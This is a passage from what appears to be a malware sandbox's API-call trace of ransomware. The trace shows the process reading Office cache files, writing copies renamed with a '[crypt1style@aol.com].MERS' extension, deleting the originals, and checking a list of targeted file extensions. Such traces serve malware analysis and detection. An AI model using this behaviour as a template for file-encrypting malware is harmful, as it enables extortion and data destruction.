lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0034.073] WriteFile (in: hFile=0x198, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.074] ReadFile (in: hFile=0x194, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.074] WriteFile (in: hFile=0x198, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0034.074] SetEndOfFile (hFile=0x198) returned 1 [0034.074] CloseHandle (hObject=0x198) returned 1 [0034.075] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.075] SetEndOfFile (hFile=0x194) returned 1 [0034.076] CloseHandle (hObject=0x194) returned 1 [0034.076] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.076] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0034.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.076] lstrlenW (lpString=".doc") returned 4 [0034.076] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.076] lstrlenW (lpString=".docx") returned 5 [0034.076] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.077] lstrlenW (lpString=".pdf") returned 4 [0034.077] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".xls") returned 4 [0034.077] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".xlsx") returned 5 [0034.077] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.077] lstrlenW (lpString=".ppt") returned 4 [0034.077] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.077] lstrlenW (lpString=".zip") returned 4 [0034.077] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.077] lstrlenW (lpString=".rar") returned 4 [0034.077] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".bz2") returned 4 [0034.077] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".7z") returned 3 [0034.077] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.077] lstrlenW (lpString=".dbf") returned 4 [0034.077] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.077] lstrlenW (lpString=".1cd") returned 4 [0034.077] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.077] lstrlenW (lpString=".jpg") returned 4 [0034.077] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.077] lstrlenW (lpString=".doc") returned 4 [0034.077] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".docx") returned 5 [0034.077] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.077] lstrlenW (lpString=".pdf") returned 4 [0034.078] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".xls") returned 4 [0034.078] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".xlsx") returned 5 [0034.078] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.078] lstrlenW (lpString=".ppt") returned 4 [0034.078] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.078] lstrlenW (lpString=".zip") returned 4 [0034.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.078] lstrlenW (lpString=".rar") returned 4 [0034.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".bz2") returned 4 [0034.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".7z") returned 3 [0034.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.078] lstrlenW (lpString=".dbf") returned 4 [0034.078] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.078] lstrlenW (lpString=".1cd") returned 4 [0034.078] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.078] lstrlenW (lpString=".jpg") returned 4 [0034.078] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.078] Sleep (dwMilliseconds=0x64) [0034.228] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.228] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0034.228] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0034.229] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3186) returned 1 [0034.229] CloseHandle (hObject=0x1bc) returned 1 [0034.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0034.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0034.230] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.230] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.230] GetLastError () returned 0x0 [0034.230] ReadFile (in: hFile=0x1bc, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0xc72, lpOverlapped=0x0) returned 1 [0034.370] WriteFile (in: hFile=0x1c0, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0034.370] ReadFile (in: hFile=0x1bc, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.370] WriteFile (in: hFile=0x1c0, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.371] SetEndOfFile (hFile=0x1c0) returned 1 [0034.371] CloseHandle (hObject=0x1c0) returned 1 [0034.371] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.371] SetEndOfFile (hFile=0x1bc) returned 1 [0034.372] CloseHandle (hObject=0x1bc) returned 1 [0034.372] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.372] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0034.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.372] lstrlenW (lpString=".doc") returned 4 [0034.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString=".docx") returned 5 [0034.373] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.373] lstrlenW (lpString=".pdf") returned 4 [0034.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString=".xls") returned 4 [0034.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString=".xlsx") returned 5 [0034.373] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.373] lstrlenW (lpString=".ppt") returned 4 [0034.373] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.373] lstrlenW (lpString=".zip") returned 4 [0034.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.373] lstrlenW (lpString=".rar") returned 4 [0034.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString=".bz2") returned 4 [0034.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString=".7z") returned 3 [0034.373] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.373] lstrlenW (lpString=".dbf") returned 4 [0034.373] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.373] lstrlenW (lpString=".1cd") returned 4 [0034.373] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.373] lstrlenW (lpString=".jpg") returned 4 [0034.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.373] lstrlenW (lpString=".doc") returned 4 [0034.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.373] lstrlenW (lpString=".docx") returned 5 [0034.373] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.373] lstrlenW (lpString=".pdf") returned 4 [0034.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.374] lstrlenW (lpString=".xls") returned 4 [0034.374] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.374] lstrlenW (lpString=".xlsx") returned 5 [0034.374] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.374] lstrlenW (lpString=".ppt") returned 4 [0034.374] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.374] lstrlenW (lpString=".zip") returned 4 [0034.374] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.374] lstrlenW (lpString=".rar") returned 4 [0034.374] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.374] lstrlenW (lpString=".bz2") returned 4 [0034.374] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.374] lstrlenW (lpString=".7z") returned 3 [0034.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.374] lstrlenW (lpString=".dbf") returned 4 [0034.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.374] lstrlenW (lpString=".1cd") returned 4 [0034.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.374] lstrlenW (lpString=".jpg") returned 4 [0034.374] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.431] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.431] lstrlenW (lpString="Proof.xml") returned 9 [0034.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.998] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1347) returned 1 [0034.998] CloseHandle (hObject=0x1d8) returned 1 [0034.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0034.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.998] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.998] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0034.999] GetLastError () returned 0x0 [0034.999] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x543, lpOverlapped=0x0) returned 1 [0035.009] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0035.010] ReadFile (in: hFile=0x1d8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.010] WriteFile (in: hFile=0x1e8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.010] SetEndOfFile (hFile=0x1e8) returned 1 [0035.010] CloseHandle (hObject=0x1e8) returned 1 [0035.010] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.011] SetEndOfFile (hFile=0x1d8) returned 1 [0035.011] CloseHandle (hObject=0x1d8) returned 1 [0035.011] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.012] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0035.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.012] lstrlenW (lpString=".doc") returned 4 [0035.012] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.012] lstrlenW (lpString=".docx") returned 5 [0035.012] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0035.012] lstrlenW (lpString=".pdf") returned 4 [0035.012] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.012] lstrlenW (lpString=".xls") returned 4 [0035.012] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.012] lstrlenW (lpString=".xlsx") returned 5 [0035.012] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0035.012] lstrlenW (lpString=".ppt") returned 4 [0035.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.013] lstrlenW (lpString=".zip") returned 4 [0035.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.013] lstrlenW (lpString=".rar") returned 4 [0035.013] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString=".bz2") returned 4 [0035.013] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString=".7z") returned 3 [0035.013] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.013] lstrlenW (lpString=".dbf") returned 4 [0035.013] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.013] lstrlenW (lpString=".1cd") returned 4 [0035.013] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.013] lstrlenW (lpString=".jpg") returned 4 [0035.013] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.013] lstrlenW (lpString=".doc") returned 4 [0035.013] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString=".docx") returned 5 [0035.013] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0035.013] lstrlenW (lpString=".pdf") returned 4 [0035.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString=".xls") returned 4 [0035.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.013] lstrlenW (lpString=".xlsx") returned 5 [0035.013] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0035.014] lstrlenW (lpString=".ppt") returned 4 [0035.014] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.014] lstrlenW (lpString=".zip") returned 4 [0035.014] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.014] lstrlenW (lpString=".rar") returned 4 [0035.014] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.014] lstrlenW (lpString=".bz2") returned 4 [0035.014] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.014] lstrlenW (lpString=".7z") returned 3 [0035.014] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.014] lstrlenW (lpString=".dbf") returned 4 [0035.014] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.014] lstrlenW (lpString=".1cd") returned 4 [0035.014] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0035.014] lstrlenW (lpString=".jpg") returned 4 [0035.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.014] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.014] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0035.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.018] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=913) returned 1 [0035.018] CloseHandle (hObject=0x1d8) returned 1 [0035.018] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0035.018] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.019] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 